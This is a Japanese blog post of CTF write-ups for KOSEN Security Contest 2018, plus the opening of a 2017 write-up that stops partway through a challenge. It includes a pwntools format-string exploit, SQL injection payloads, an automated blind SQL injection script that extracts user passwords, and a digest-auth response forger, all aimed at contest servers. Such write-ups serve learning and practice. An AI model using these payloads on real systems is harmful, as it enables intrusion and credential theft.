KOSEN セキュリティコンテスト 2018( #kosensc ) に参加したおはなし
はじめに
KOSENセキュリティコンテスト2018にJAJAとして参加しました。
今年でkosenscは3回目ですが、今年が一番手応えがあったかなと思います。
結果として、JAJAは2位で終わることができました。
今回は、競技期間中に僕が解けた問題について備忘録程度のWriteupを書きます。
また、Writeupにて、出力や入力が極端に長い場合、...
として省略させていただきます。
目次
- 03 printf (Binary 100)
- 04 XOR,XOR (Binary 200)
- 05 Simple anti debugger (Binary 250)
- 06 exchangeable if (Crypto 100)
- 11 ログインしてフラグを入手せよ。 (Network 150)
- 14 アカウントを奪え (Web 300)
- 15 47405b599e22969295ebed486d7343cb (Web 300)
- おわりに
03 printf (Binary 100)
[問題内容] フラグを読み出せ! ゲームへの接続方法: nc [hostname] [port] 例: nc 27.133.152.42 80
メンバーの一人がほぼ解けていたが、最後に助太刀した問題。
普通にアクセスして、何か打ち込むと以下のようにthe secret
の格納アドレスが得られる。
$ nc 27.133.152.42 80 the secret is in 0xff84a9de what do you want: A there is no A
printf
というタイトルから書式指定文字列攻撃を利用する、ということがわかるらしい。
ということで、下記のような入力を与えると、スタックのデータが覗ける。
$ python -c "print('AAAA'+' %p'*20)" | nc 27.133.152.42 80 the secret is in 0xff930d2e what do you want: there is no AAAA 0x100 0xf7fae5c0 (nil) (nil) (nil) (nil) 0x43530000 0x45534f4b 0x73757b4e 0x72705f65 0x66746e69 0x726f635f 0x74636572 0x7d796c 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
4バイト×15個先に入力したAAAA(0x41414141)
があるので、そこにthe secret
の格納アドレスをうまく入れて、そこをさらに参照できれば、フラグが得られる。
メンバーからpayload(格納アドレス%15$s
)をもらったので、そのままpwntoolsで投げる。
from pwn import * conn = remote("27.133.152.42", 80) str = conn.recvline() pay = p32(int(str[-11:-1], 16))+"%15$s" conn.sendline(pay) print(conn.recvline())
# python printf.py [+] Opening connection to 27.133.152.42 on port 80: Done what do you want: there is no \x0e<\x8a\xffSCKOSEN{use_printf_correctly} [*] Closed connection to 27.133.152.42 port 80
Flag: SCKOSEN{use_printf_correctly}
04 XOR,XOR (Binary 200)
[問題内容] アセンブリを読んでフラグを入手しろ!
asmreading
という実行ファイルが与えられる。
普通に実行しても何も起きないので、解析する。
$ file asmreading asmreading: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=255dacefca5f60eeb7fca2ac73852c27c1e8070f, not stripped $ ./asmreading
アセンブリをまじまじと読みたくはないので、とりあえずradare2
。
$ r2 -d asmreading [0xf77b9250]> aaa [0xf77b9250]> afl ... 0x565b0549 1 4 sym.__x86.get_pc_thunk.dx 0x565b054d 4 83 sym.xor_func 0x565b05a0 3 336 sym.main 0x565b06f0 1 4 sym.__x86.get_pc_thunk.ax ... [0xf77b9250]> s sym.main [0x565b05a0]> VV [0x565b05a0]> VV @ sym.main (nodes 3 edges 2 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:5 .-------------------------------------------. | [0x565b05a0] ;[gd] | | 0x565b05b1 call sym.__x86.get_pc_thunk.ax | | 0x565b06ca call sym.xor_func | `-------------------------------------------' | | | '-------------------------. .-------------------' | | | | | --------------------------------------------. .--------------------. | 0x565b06e3 ;[gf] | | 0x565b06e8 ;[gc] | | 0x565b06e3 call sym.__stack_chk_fail_local | `--------------------' `--------------------------------------------'
上記の図だとかなり省略しているが、call命令の間にたくさんmov命令でxor_func
の引数らしきものを用意しているので、きっとxor_func
でそれをxorするとフラグがでてくるのだろうと、予測がつく。
ただし、やはりアセンブリを読むのはめんどくさいので、そのままデバッガでブレークポイントを仕掛けて、xor_func
の返り値を見てみる。
(ここではradare2の動的解析には慣れてないのでgdbをつかう)
はじめに、xor_func
の返り値を見るために、xor_func
にブレークポイントを仕掛けて、xor_func
を実行する。
$ gdb -q asmreading Reading symbols from asmreading...(no debugging symbols found)...done. (gdb) b xor_func Breakpoint 1 at 0x551 (gdb) run Starting program: /root/workspace/ctf/kosensc2018/Binary_200/asmreading Breakpoint 1, 0x56555551 in xor_func () (gdb) n Single stepping until exit from function xor_func, which has no line number information. 0x565556cf in main () (gdb) layout asm ┌──────────────────────────────────────────────────────┐ │0x565556ba <main+282> movb $0x14,-0xd(%ebp) │ │0x565556be <main+286> lea -0x69(%ebp),%eax │ │0x565556c1 <main+289> push %eax │ │0x565556c2 <main+290> lea -0x2b(%ebp),%eax │ │0x565556c5 <main+293> push %eax │ │0x565556c6 <main+294> lea -0x4a(%ebp),%eax │ │0x565556c9 <main+297> push %eax │ │0x565556ca <main+298> call 0x5655554d <xor_func> │ >│0x565556cf <main+303> add $0xc,%esp │ │0x565556d2 <main+306> mov $0x0,%eax │ └──────────────────────────────────────────────────────┘ native process 2192 In: main L?? PC: 0x565556cf
ここで、xor_func
にスタックで渡している引数3つ(第1引数:-0x4a(%ebp)
,第2引数:-0x2b
,第3引数:-0x69
)でどんな値を渡しているか見てみる。
(gdb) x/s $ebp-0x4a 0xffffd57e: "y8NArwYj>XJgIme3RQhh_M<vo1Z]jXi*{\005\016!2\027\021G7?8*\f\vl 4\t\f" (gdb) x/s$ebp-0x2b 0xffffd59d: "*{\005\016!2\027\021G7?8*\f\vl 4\t\f" (gdb) x/s $ebp-0x69 0xffffd55f: "SCKOSEN{you_can_read_assembly!}y8NArwYj>XJgIme3RQhh_M<vo1Z]jXi*{\005\016!2\027\021G7?8*\f\vl 4\t\f"
すると、あらふしぎ。フラグがでてきてしまった。 ちなみに、これらの引数は、第1引数と第2引数には、xorを取るための文字列のポインタが格納されていて、第3引数にxorを取ったあとの文字列のポインタが格納されていると考えられる。
(gdb) x/31b $ebp-0x4a 0xffffd57e: 0x79 0x38 0x4e 0x41 0x72 0x77 0x59 0x6a 0xffffd586: 0x3e 0x58 0x4a 0x67 0x49 0x6d 0x65 0x33 0xffffd58e: 0x52 0x51 0x68 0x68 0x5f 0x4d 0x3c 0x76 0xffffd596: 0x6f 0x31 0x5a 0x5d 0x6a 0x58 0x69 (gdb) x/31b $ebp-0x2b 0xffffd59d: 0x2a 0x7b 0x05 0x0e 0x21 0x32 0x17 0x11 0xffffd5a5: 0x47 0x37 0x3f 0x38 0x2a 0x0c 0x0b 0x6c 0xffffd5ad: 0x20 0x34 0x09 0x0c 0x00 0x2c 0x4f 0x05 0xffffd5b5: 0x0a 0x5c 0x38 0x31 0x13 0x79 0x14
ということで、下記のスクリプトでこれらの値同士でxorを取ると、同様にフラグが得られる。
$ cat solve.py first = [0x79, 0x38, 0x4e, 0x41, 0x72, 0x77, 0x59, 0x6a,0x3e, 0x58, 0x4a, 0x67, 0x49, 0x6d, 0x65, 0x33,0x52, 0x51, 0x68, 0x68, 0x5f, 0x4d, 0x3c, 0x76,0x6f, 0x31, 0x5a, 0x5d, 0x6a, 0x58, 0x69] second = [0x2a, 0x7b, 0x05, 0x0e, 0x21, 0x32, 0x17, 0x11,0x47, 0x37, 0x3f, 0x38, 0x2a, 0x0c, 0x0b, 0x6c,0x20, 0x34, 0x09, 0x0c, 0x00, 0x2c, 0x4f, 0x05,0x0a, 0x5c, 0x38, 0x31, 0x13, 0x79, 0x14] print("".join([chr(f^s) for f,s in zip(first, second)])) $ python solve.py SCKOSEN{you_can_read_assembly!}
Flag:SCKOSEN{you_can_read_assembly!}
05 Simple anti debugger (Binary 250)
[問題内容] gdbにアタッチしてみたが動かない。 どうやって解析しようか。
simple_anti_debugger
というファイルが与えられる。
$ file simple_anti_debugger simple_anti_debugger: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4f93e375d47f12cba399fa47c23bd59dc32bcde7, not stripped $ ./simple_anti_debugger You don't seem to be using debugger :) input your password: A wrong password :(
どうやらアンチデバッグの機能があり、有効なパスワードを入れるとフラグが得られるようだ。
とりあえずXOR,XOR
と同様に、アセンブリはあまり読みたくないので、まずはradare2
で解析。
$ r2 -d simple_anti_debugger [0xf778b250]> aaa [0xf778b250]> afl ... 0x56571689 1 4 sym.__x86.get_pc_thunk.dx 0x5657168d 4 82 sym.decode 0x565716df 7 103 sym.is_correct_password 0x56571746 3 73 sym.detect_debugger 0x5657178f 6 242 main 0x56571890 4 93 sym.__libc_csu_init ... [0xf778b250]> s main [0x5657178f]> VV [0x5657178f]> VV @ main (nodes 6 edges 6 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:5 .-------------------------------------------. | [0x5657178f] ;[gg] | | 0x565717a1 call sym.__x86.get_pc_thunk.bx | | 0x565717c9 call sym.imp.puts | | 0x565717db call sym.imp.printf | | 0x565717f5 call sym.imp.fgets | | 0x56571804 call sym.is_correct_password | `-------------------------------------------' | | | '--------------------. .------------' | | | | | .---------------------------------. .------------------------------. | 0x56571810 ;[gj] | | 0x5657184f ;[gf] | | 0x5657181a call sym.decode | | 0x56571859 call sym.imp.puts | | 0x5657182c call sym.imp.puts | `------------------------------' | 0x56571845 call sym.imp.printf | | `---------------------------------' | | | '-----------------------. | .-------------' | | .--------------------. | 0x56571861 ;[gi] | `--------------------' | | | '--------------. .------------------------------' | | | | | .--------------------------------------------. .--------------------. | 0x56571872 ;[gm] | | 0x56571877 ;[gk] | | 0x56571872 call sym.__stack_chk_fail_local | `--------------------' `--------------------------------------------'
関数一覧を見ると、いくつかの主要な関数が見つかり、おそらくエンコードされているフラグをデコードするdecode
、アンチデバッグの機能を持つであろうdetect_debugger
なども見つかった。
しかしmain
ではdetect_debugger
は呼ばれていなかった。
main
の処理を見てみると、0x565717f5
で文字列を受け取り、is_correct_password
を呼び出し、その結果次第で、処理が変わっているようにみえる。
以上のことを踏まえて、detect_debugger
とis_correct_password
にブレークポイントを仕掛けてgdbでデバッグしてみる。
$ gdb -q ./simple_anti_debugger Reading symbols from ./simple_anti_debugger...(no debugging symbols found)...done. (gdb) b is_correct_password Breakpoint 1 at 0x6e3 (gdb) b detect_debugger Breakpoint 2 at 0x5655574a (gdb) run Starting program: /root/workspace/ctf/kosensc2018/Binary_250/simple_anti_debugger Breakpoint 2, 0x5655574a in detect_debugger () (gdb) layout asm ┌──────────────────────────────────────────────────────────────────────────┐ B+>│0x5655574a <detect_debugger+4> sub $0x4,%esp │ │0x5655574d <detect_debugger+7> call 0x56555590 <__x86.get_pc_thunk.bx> │ │0x56555752 <detect_debugger+12> add $0x186a,%ebx │ │0x56555758 <detect_debugger+18> push $0x0 │ │0x5655575a <detect_debugger+20> push $0x1 │ │0x5655575c <detect_debugger+22> push $0x0 │ │0x5655575e <detect_debugger+24> push $0x0 │ │0x56555760 <detect_debugger+26> call 0x56555530 <ptrace@plt> │ │0x56555765 <detect_debugger+31> add $0x10,%esp │ │0x56555768 <detect_debugger+34> cmp $0xffffffff,%eax │ │0x5655576b <detect_debugger+37> jne 0x56555789 <detect_debugger+67> │ │0x5655576d <detect_debugger+39> sub $0xc,%esp │ │0x56555770 <detect_debugger+42> lea -0x168c(%ebx),%eax │ │0x56555776 <detect_debugger+48> push %eax │ │0x56555777 <detect_debugger+49> call 0x565554f0 <puts@plt> │ │0x5655577c <detect_debugger+54> add $0x10,%esp │ │0x5655577f <detect_debugger+57> sub $0xc,%esp │ │0x56555782 <detect_debugger+60> push $0x1 │ │0x56555784 <detect_debugger+62> call 0x56555500 <exit@plt> │ │0x56555789 <detect_debugger+67> nop │ │0x5655578a <detect_debugger+68> mov -0x4(%ebp),%ebx │ │0x5655578d <detect_debugger+71> leave │ │0x5655578e <detect_debugger+72> ret │ └──────────────────────────────────────────────────────────────────────────┘ native process 2340 In: detect_debugger L?? PC: 0x5655574a
どうやら0x56555768
で%eax
が$0xffffffff
(-1)と一致してしまうと、exit
してしまうことがわかった。
(gdb) b *0x56555768 Breakpoint 3 at 0x56555768 (gdb) c Continuing. Breakpoint 3, 0x56555768 in detect_debugger () (gdb) p/x $eax $1 = 0xffffffff (gdb) set $eax = 0 (gdb) p/x $eax $2 = 0x0 (gdb) c Continuing. You don't seem to be using debugger :) input your password: A Breakpoint 1, 0x565556e3 in is_correct_password ()
そこで、0x56555768
にブレークポイントを仕掛けて、処理を進める。
そして、ブレークポイント地点で、%eax
レジスタの値を変えて、アンチデバッグを回避し、さらに処理を進める。
アンチデバッグを回避でき、処理を進めると、passwordの入力画面になる。
適当な値を入力すると、次はis_correct_password
のブレークポイントで処理が停止する。
│0x5655572c <is_correct_password+77> cmpl $0xa5,-0x10(%ebp) │ │0x56555733 <is_correct_password+84> jne 0x5655573c <is_correct_password+93> │ │0x56555735 <is_correct_password+86> mov $0x1,%eax │ │0x5655573a <is_correct_password+91> jmp 0x56555741 <is_correct_password+98> │ │0x5655573c <is_correct_password+93> mov $0x0,%eax │ │0x56555741 <is_correct_password+98> mov -0x4(%ebp),%ebx │ │0x56555744 <is_correct_password+101> leave │ │0x56555745 <is_correct_password+102> ret │
ここで、is_correct_password
の分岐処理をよく見てみると、どうやら-0x10(%ebp)
の値が$0xa5
でなければ、%eax
には0
が、$0xa5
であれば$eax
には1
という値が入るということがわかった。
│0x56555804 <main+117> call 0x565556df <is_correct_password> │ │0x56555809 <main+122> add $0x10,%esp │ │0x5655580c <main+125> test %eax,%eax │ │0x5655580e <main+127> je 0x5655584f <main+192> │ │0x56555810 <main+129> sub $0xc,%esp │ │0x56555813 <main+132> lea 0x4c(%ebx),%eax │ │0x56555819 <main+138> push %eax │ │0x5655581a <main+139> call 0x5655568d <decode> │
main
の処理も見てみると、フラグをデコードしてくれるdecode
を飛ばさないためには、%eax
は1
である必要があるということがわかった。
(gdb) b *0x5655580c Breakpoint 4 at 0x5655580c (gdb) c Continuing. Breakpoint 4, 0x5655580c in main () (gdb) set $eax = 1 (gdb) c Continuing. correct password! flag is SCKOSEN{I_like_debugger} [Inferior 1 (process 2340) exited normally]
最後に、0x5655572c
にブレークポイントをしかけて、そこまで処理を進め、%eax
に1
を代入、そして処理を最後まで進めることで、フラグが得られた。
Flag: SCKOSEN{I_like_debugger}
06 exchangeable if (Crypto 100)
[問題内容] 画像を見つけた。フラグを取り出せ!
out.jpeg
という画像が与えられる。
ひとまず、調査。
$ file out.jpg out.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, description=md5=2009d1c114ed83f57cf8adde69fd6ca8, xresolution=112, yresolution=120, resolutionunit=1], baseline, precision 8, 500x500, frames 3 $ exiftool out.jpg ExifTool Version Number : 10.32 File Name : out.jpg Directory : . File Size : 10 kB File Modification Date/Time : 2018:09:02 18:54:57+09:00 File Access Date/Time : 2018:09:02 18:57:27+09:00 File Inode Change Date/Time : 2018:09:02 18:54:57+09:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Big-endian (Motorola, MM) Image Description : md5=2009d1c114ed83f57cf8adde69fd6ca8 X Resolution : 1 Y Resolution : 1 Resolution Unit : None Y Cb Cr Positioning : Centered Image Width : 500 Image Height : 500 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 500x500 Megapixels : 0.250
exiftool
のImage Description
に怪しいmd5=2009d1c114ed83f57cf8adde69fd6ca8
があることがわかる。
はじめは、このout.jpeg
のファイルサイズを削ったら同じmd5ハッシュになるのかなぁ、などと考えていたが、チームメンバーが「フラグのハッシュなんじゃない?」と閃いてくれたので、あとはスクリプトを書くだけ。
import hashlib, sys from itertools import product from string import digits, ascii_uppercase, ascii_lowercase if __name__ == '__main__': md5 = "2009d1c114ed83f57cf8adde69fd6ca8" x = "" before = "SCKOSEN{sHDtF1" after = "NLTIWp}" chars = digits + ascii_uppercase + ascii_lowercase i = 0 for comb in product(chars, repeat=4): flag = before + "".join(comb) + after if md5 == hashlib.md5(flag.encode('utf-8')).hexdigest(): print("\nOK:", flag) break else: sys.stdout.write("\r"+flag+"\t"+str(i)) i += 1
$ time python bf.py SCKOSEN{sHDtF1qOLYNLTIWp} 12486648 OK: SCKOSEN{sHDtF1qOLZNLTIWp} real 2m51.198s user 1m56.965s sys 0m20.551s
(数字10種類+大小英数字52種類)^4
だと計算終わらないんじゃ無いかと思っていたが、意外といけた。
Flag: SCKOSEN{sHDtF1qOLZNLTIWp
11 ログインしてフラグを入手せよ。 (Network 150)
[問題内容] ヒント: 我々は秋葉原ラジオ会館上空に飛来したタイムマシンを用いて、未来の超高性能コンピュータを入手した。 そのコンピュータによると、MD5の値
2b21424f30227ac8bc08c69216c30815
のハッシュ化前の値は以下であるらしい。c932836c1feff27841c03453e81d5b13:oX3Ar2V0BQA=34c6176e8e33d6da83cc500028b8f9c8de95b91d:00000001:OWEyZWEyNmZhNzAyYTUwMzM0MzRjYzMxZDljZGY2OTU=:auth:71998c64aea37ae77020c49c00f73fa8
digest.pcap
というファイルが与えられる。
digest.pcap
を開いて、http
でフィルターすると、以下のようになる。
問題とファイル名からして、ヒントとpcapファイルを使って、なりすましdigest認証をすればフラグが得られると予想できる。
digest認証では、最初のアクセス時にサーバーから401 Unauthorized
レスポンスと一緒にrealm
やnonce
、algorithm
、qop
などの値が与えられる(このうちnonce
のみ認証ごとに変化する)。
そして、クライアントはその情報に、username
やuri
、cnonce
、nc
、response
(、Method
)といった値を追加して、認証を行う。
この際、cnonce
とnc
はブラウザから与えられ、uri
はアクセス先のuriである。
つまり、認証を行う際に必要なパラメータはusername
とresponse
である。
username
は、WireSharkのHTTPリクエストを見てみると、はtanaka
であるということがわかる。
また、response
という値は次のように計算される。
A1 = md5(username+':'+realm+':'+password) A2 = md5(Method+':'+uri) response = md5(A1+':'+nonce+':'+nc+':'+cnonce+':'+qop+':'+A2)
ここで、ヒントを見返してみると、2b21424f30227ac8bc08c69216c30815
という値はresponse
値であるということが予測できる。
さらにそのmd5ハッシュ化前の値から、A1の値がc932836c1feff27841c03453e81d5b13
であるということがわかる。
A1という値は認証ごとに変わる値ではなく、また、username
とpassword
の情報が入っている。
つまり、このA1の値を使えばdigest認証をなりすましで通過できる。
あとは、このA1の値を使ってresponse
を計算するスクリプトを使って、なりすませばフラグが得られる。
# -*- coding: utf-8 -*- import hashlib, sys def md5(s): return hashlib.md5(s.encode('utf-8')).hexdigest() if __name__ == '__main__': argv = sys.argv nonce = argv[1] # nonce cnonce = argv[2] # cnonce username = "tanaka" realm = "Digest Auth" Method = "GET" uri = "/flag.txt" A2 = md5(Method+":"+uri) nc = "00000001" qop = "auth" A1 = "c932836c1feff27841c03453e81d5b13" res = md5(A1+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+A2) print("response=\""+res+"\"")
$ python auth.py Gh+DNeJ0BQA=cfa1b451b276606f5d76d67078c7b67175ebcbe2 4472a6b551127b86dc86c741971d5c26 response="c21a4ec23b01467b2cb0ad188dab4583"
Flag: SCKOSEN{digest_auth_is_secure!}
14 アカウントを奪え (Web 300)
[問題内容] アカウントを奪ってしまおう。 フラグはSCKOSEN{keyword}の形で、keywordを探してほしい。
URLにアクセスすると、フォームがあり"kosenjoh"ユーザーでログインしてください
とある。
いつものSQL(' or 1=1 --
)を投げてあげると、ログインに成功し、次のようなソースコードが出力される。
フラグは、'kosenjoh' ユーザーのパスワードです。 Hello, Hacker!!! 古戦場から逃げるな!! <?php function h($ret) { return htmlspecialchars($ret, ENT_QUOTES, 'UTF-8'); } if ($_SERVER['REQUEST_METHOD'] == "POST") { $userid = $_POST['userid']; $pass = $_POST['pass']; $check = false; if (strlen($userid) !== 0 and strlen($pass) !== 0) { $err = ''; if ($userid !== '') { try { $dbh = new PDO('sqlite:../database/user.db'); $result = $dbh->query("SELECT count(*) as count FROM user WHERE userid='$userid' AND pass='$pass'"); if ($result !== false) { $result = $result->fetch(PDO::FETCH_ASSOC); if ($result["count"] > 0) { $check = true; } } } catch (Exception $e) { //echo $e->getMessage(); } if (!$check) { $err = 'ログインに失敗しました.....XD'; } } } else { $err = "UseridとPasswordを入力してください。"; } } else { $userid = ""; $pass = ""; $err = ""; $check = false; } ?>
ただし、フラグは問題文にある通り、kosenjoh
ユーザーのパスワードなので、それを抜き出さなければいけない。
ここで、このWebサーバーのホスト名にもある通り、bsql(Blind SQL Injection)をして、情報を抜き出す。
今は、' or 1=1 --
の1=1
の部分が今は必ずTrue
になってログインに成功する。
そこで、その部分をある条件のもとでTrue
になる、というふうに書き換えれば、bsqliで情報を抜き出すことができる。
具体的には、ソースコードからテーブル名、カラム名がわかっているので、' or length((select pass from user where id='kosenjoh')) < 30 --
といったクエリを投げる。
ここで、(select pass from user where id='kosenjoh')
、つまりkosenjoh
のパスワードの長さが30文字未満であれば、この条件はTrue
となり、ログインに成功する。
そうでなければ、ログインに失敗する。
これを使ってまず、kosenjoh
のパスワードの長さは24文字だということがわかった。
つぎに、' or hex(substr((select pass from user where userid='kosenjoh'), 1, 1)) < hex('a') --
のようなクエリを投げる。
ここで、substr(pass, 1, 1)
でpass
の1文字目から1文字だけ取り出し、それをhex()
でアスキーコードに変換し、数値で比較する。
これを使うことで、1文字ずつフラグを割り出すことができた。
ちなみに、競技中は完全に手動で1文字ずつ割り出しており、かなり時間もかかった。 (その分、手動バイナリサーチの達人となった。) そこで、勉強もかねて、バイナリサーチを使ったBlind SQL Injectionのスクリプトを作成した。
import requests from string import digits, ascii_uppercase, ascii_lowercase url = "http://bsql.kosensc2018.tech" s = requests.session() chars = digits + ascii_uppercase + ascii_lowercase def asm_params(i, f, c): sql = "' or hex(substr((select pass from user where userid='kosenjoh'), {}, 1)) {} hex('{}') --".format(i, f, c) params = {"userid": "kosenjoh", "pass": sql} return params def bin_search(i, imin, imax): imid = int(round(imin + (imax - imin) / 2)) if "Hacker" in s.post(url, data=asm_params(i, ">", chars[imid])).text: return bin_search(i, imid+1, imax) elif "Hacker" in s.post(url, data=asm_params(i, "<", chars[imid])).text: return bin_search(i, imin, imid-1) else: return imid if __name__ == "__main__": flag = "" for i in range(1,25): flag += chars[bin_search(i, 0, 62)] print(flag)
$ python bsql.py s sk sku skur skura skuraf skurafj skurafji skurafjit skurafjitm skurafjitmi skurafjitmiy skurafjitmiym skurafjitmiymt skurafjitmiymto skurafjitmiymtok skurafjitmiymtoki skurafjitmiymtokit skurafjitmiymtokitm skurafjitmiymtokitmr skurafjitmiymtokitmrp skurafjitmiymtokitmrpe skurafjitmiymtokitmrpec skurafjitmiymtokitmrpeco
Flag: SCKOSEN{skurafjitmiymtokitmrpeco}
15 47405b599e22969295ebed486d7343cb (Web 300)
[問題内容] Find the flag!
URLにアクセスすると、Find the flag.
とあり、フォームが2つある。
上のフォームにいつものSQL(' or 1=1 --
)を入れるとSearch Result:
と出て、テーブル全体が抜き出せる。
このテーブルは83行あり、Value
をアスキー変換すると下記のような文章が出てきた。
$ python s = [83,111,114,114,121,46,46,46,32,58,60,10,84,104,105,115,32,118,97,108,117,101,115,32,97,114,101,110,39,116,32,102,108,97,103,46,46,46,10,10,72,105,110,116,58,10,84,104,105,115,32,102,108,97,103,32,105,115,32,116,104,101,32,115,111,109,101,111,110,101,39,115,32,112,97,115,115,119,111,114,100,46,10] print("".join([chr(c) for c in s])) Sorry... :< This values aren't flag... Hint: This flag is the someone's password.
上のフォームはダミーであることがわかったので、つぎに下のフォームにいつものSQL(' or 1=1 --
)を入れたところError: Multiple Result is NOT allowed!
というエラーを吐かれた。
リザルトが複数あるのはダメだよ〜ということなのでLIMIT句をつかって、' or 1=1 limit 1 --
としたところWelcome!
と出力された。
ということで、ここでも前問と同じBlind SQL Injectionを使ってフラグを抜き出す。
前問と違うのは、ユーザー名がわからないことである。
そこで、' or (select count(*) from user) > 10 limit 1--
というクエリを投げることで、まずユーザー数を探る。
しかし、SQLITE_ERROR: no such table: user
というエラーが出力された。
テーブル名についてもbsqliしても良かったが、チームメンバーがusers
というテーブルを見つけてくれた。
そして、' or (select count(*) from users) = 6 limit 1--
というクエリでWelcome!
が表示されたので、ユーザー数は6人であることがわかった。
つぎに、1番上のユーザー名を探る。
しかし、' or length((select userid from users limit 1)) > 30 limit 1--
というクエリを投げたところまたSQLITE_ERROR: no such column: userid
というエラーが出力された。
カラム名についてもbsqliしても良かったが、これも運よくフォームのname属性と同じ、id
というカラムがユーザー名に該当するということがわかった。
そして、' or length((select id from users limit 1)) = 5 limit 1--
というクエリでWelcome!
が表示されたので、1番目のユーザー名の文字数は5文字であることがわかった。
5文字ということがわかったので、' or hex(substr((select id from users limit 1), 1, 1)) > hex("a") limit 1--
といったクエリで探った結果、1番目のユーザー名はAdmin
であることがわかった。
それっぽいユーザー名なのでひとまず、Admin
というユーザーのパスワードを前問と同じ要領で探ると、フラグが出てきた。
ちなみに、この問題でも前問と同じスクリプトで試してみた。
$ time python bsql.py S SC SCK SCKO SCKOS SCKOSE SCKOSEN SCKOSEN{ SCKOSEN{W SCKOSEN{W2 SCKOSEN{W22 SCKOSEN{W22X SCKOSEN{W22Xx SCKOSEN{W22Xxn SCKOSEN{W22Xxnq SCKOSEN{W22Xxnq9 SCKOSEN{W22Xxnq9g SCKOSEN{W22Xxnq9g8 SCKOSEN{W22Xxnq9g8r SCKOSEN{W22Xxnq9g8rf SCKOSEN{W22Xxnq9g8rfn SCKOSEN{W22Xxnq9g8rfnE SCKOSEN{W22Xxnq9g8rfnEH SCKOSEN{W22Xxnq9g8rfnEHG SCKOSEN{W22Xxnq9g8rfnEHGy SCKOSEN{W22Xxnq9g8rfnEHGyD SCKOSEN{W22Xxnq9g8rfnEHGyDJ SCKOSEN{W22Xxnq9g8rfnEHGyDJ7 SCKOSEN{W22Xxnq9g8rfnEHGyDJ7A SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8 SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8t SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tF SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg} 172 real 0m3.777s user 0m1.397s sys 0m0.361s
4秒未満で、試行回数172回で35文字の文字列の抽出に成功できた。
Flag: SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}
おわりに
今回は、いつもより多く問が解けたので、とても楽しかったし、とても勉強になりました。 競技時間はもう少し長めでもいいかなあとは思います。 競技終了後も問題サーバーにしばらくアクセスできるのはとてもいいと思います。 あと手動二分探索力が圧倒的につきました。 全完したかった。。!
運営、その他関係者の皆様、楽しく、とても勉強になる大会をありがとうございました。
KOSEN セキュリティコンテスト 2017 に参加したおはなし
はじめに
KOSENセキュリティコンテスト2017にPwnPwnPainとして参加してきました。
参加は2度目で、今年は去年とは打って変わって「Jeopardy」と「KoH(King of Hill)」形式でのCTFでした(去年はサーバーの脆弱性を潰すHardening的な形式?でした)。
レベル感は全体的には低めに感じましたが、まだまだ力及ばずな問題もありました。
とりあえず、備忘録、復習の記録ってのも兼ねて、競技時間中に解けた問題と、終わってから解けた問題のWriteupをカテゴリーごとにゆるーく書きたいと思います。
また、Writeupにて、出力や入力が極端に長い場合、...
として省略させていただきます。
目次
Sample
00 _ サンプル _ 100
これはサンプル問題である。 今回出題される問題は、全て答えとなる「フラグ」が含まれている。
フラグは、必ずSCKOSEN{hoge}の形式になっている。
この問題のフラグはSCKOSEN{Let's enjoy}である。入力しろ。
Flag: SCKOSEN{Let's enjoy}
Binary
01 _ フラグを答えろ _ 100
正しいフラグを書けば正しいかどうかを判定してくれる、便利なアプリを開発した。
フラグを調べて解答せよ
a.out
という実行ファイルが配布されるので、何も考えずにstringsコマンド...
$ strings a.out /lib64/ld-linux-x86-64.so.2 {e#yd libc.so.6 puts __stack_chk_fail stdin printf strtok fgets strcmp __libc_start_main __gmon_start__ GLIBC_2.4 GLIBC_2.2.5 UH-` SCKOSEN{H h1dden_fH 1ag}
一応実行してみる。
# ./a.out Enter the FLAG: SCKOSEN{h1dden_f1ag} correct! the flag is SCKOSEN{h1dden_f1ag}
Flag: SCKOSEN{h1dden_f1ag}
02 _ ファイル名を探せ _ 100
フラグは簡単だ、ファイル名に隠した。
q
というファイルが渡されるので、何も考えずにfileコマンド...
$ file q q: POSIX tar archive (GNU)
tarファイルということなので、解凍。
$ tar xvf tmp x q/ x q/xNUMaohRhJu8EJTLRx0ivRfwXk3cc x q/y2Ce56H56EVYwO7tWgOXo726O0uXp x q/h14PySClySuaKQ6kxjLYWhq99ibhm x q/2bTq1nVLWdgX6aypu018Yl84ubSsE x q/VgiiZE4hEprvEWdLnsO4G8KbOHUTi x q/G0wmRiMSrE1uArCttTbnd1wefAFad x q/8Q0VABE4ellLGwRVQtb640YcDXCB2 x q/arRyqJbDkwFhzfSvDJEbpvlGYJy3q x q/BNpv17Z6xGJhMatl91SZbU5MRErTa ...
なんかqっていうディレクトリにファイルがたくさん(18888個)でてくる。
ファイルの中には何も書かれていないので、とりあえずファイル名をbase64デコードしてみるも、Incorrect Paddingと言われる。
冷静になって考えたら、18888個の中にフラグがあるのでは、と思ってgrepしてみる。
$ ls q | grep SCKOSEN SCKOSEN{ki_ha_mori_ni_kakuse}
Flag: SCKOSEN{ki_ha_mori_ni_kakuse}
03 _ ボスを倒せ _ 200
とあるゲームを見つけたのだが、ボスがあまりにも強すぎて一切倒せそうにない。
どうにか倒す方法はないだろうか?
ゲームへの接続方法: nc [hostname] [port] 例: nc www.ctfkit 8050
この問題は、チームメンバーが適当にBoFしようとしたら解けた問題。。
ちゃんとロジックを考えるために、競技終了間際に挙動をメモったので復習。
とりあえずncで接続。
